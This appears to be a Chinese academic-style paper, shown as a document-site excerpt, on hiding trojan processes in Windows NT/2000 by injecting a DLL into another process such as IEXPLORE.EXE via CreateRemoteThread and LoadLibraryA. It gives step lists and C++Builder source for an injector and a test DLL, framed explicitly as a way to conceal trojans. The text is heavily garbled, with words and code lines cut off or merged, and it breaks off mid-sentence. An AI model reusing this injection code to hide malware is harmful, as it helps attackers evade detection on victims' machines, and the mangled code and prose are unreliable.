Windows NT-2000系统下进程的隐藏论文.docVIP

　　Windows NT/2000系统下进程的隐藏论文 摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术，本文采用远程线程技术，通过动态链接库方法，较好地解决了这一问题，通过远程线程将木马作为线程隐藏在其他进程中，从而达到隐藏的目的。 关键字进程 线程 木马 动态链接库 木马程序(也称后门程序)是能被控制的运行在远程主机上的程序，由于木马程序是运行在远程主机上，所以进程的隐藏无疑是大家关心的焦点。 本文分析了emory（）函数将待隐藏的DLL的路径名。 4） 拷贝到步骤二已经分配的内存中。 5） 用GetProcAddress（）函数获取LoadlibraryA（）函数的实地址（在kernel32.dll中）。 6） 用CreateRemoteThread（）函数在远程进程中创建一个线程。 7） 它调用正确的LoadlibraryA（）函数。 8） 为它传递步骤二中分配的内存地址。 4 具体实例 下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码： #include vcl.h #include a hdrstop #include Unit1.h #pragma package(smart_init) #pragma resource *.dfm Insisting pszLibFileName;//存放待隐藏的DLL文件名 HANDLE hProcessSnap=NULL;//进程快照句柄 HANDLE hRemoteProcess;//远程进程句柄 LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间 HMODULE phmd;//存放kernel32.dll句柄 HANDLE hRemoteThread1=NULL;//存放远程线程句柄 TForm1 *Form1; // __fast call TForm1::TForm1(Tponent* O(O1::Button1Click(TObject *Sender) { PROCESSENTRY32 pe32={0}; DessageBox(NULL,CreateToolhelp32Snapshot failed,,MB_OK); exit(0); } //失败返回 pe32.doteProcessId=pe32.th32ProcessID; break; } } oteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM _OPERATION|PROCESS_VM_EM_MIT,PAGE_READemory(hRemoteProcess, pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL); //把dll文件名写入申请的空间 phmd=GetModuleHandle(kernel32.dll); LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA); //获取动态链接库函数地址 hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0, pfnStartAddr,pszLibFileRemote,0,NULL); //创建远程线程 if(hRemoteThread1!=NULL) CloseHandle(hRemoteThread1);//关闭远程线程 if(hProcessSnap!=NULL) CloseHandle(hProcessSnap);//关闭进程快照 } 该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。 至此，远程嵌入顺利完成，为了试验我们的hide.dll是不是已经正常地在远程线程运行，我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试： #include vcl.h #include a hdrstop #pragma argsused BOOL B_OK); break; } default: } return TRUE; } 当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208），该测试DLL弹出了1208字样的确认框，同时使用PS工具 也能看到: Process ID: 1208 C:/WINNT/IEXPLORE.EXE (0 …… C:/WINNT/hide.dll (0x100000000) …… 这证明hide.dll已经在I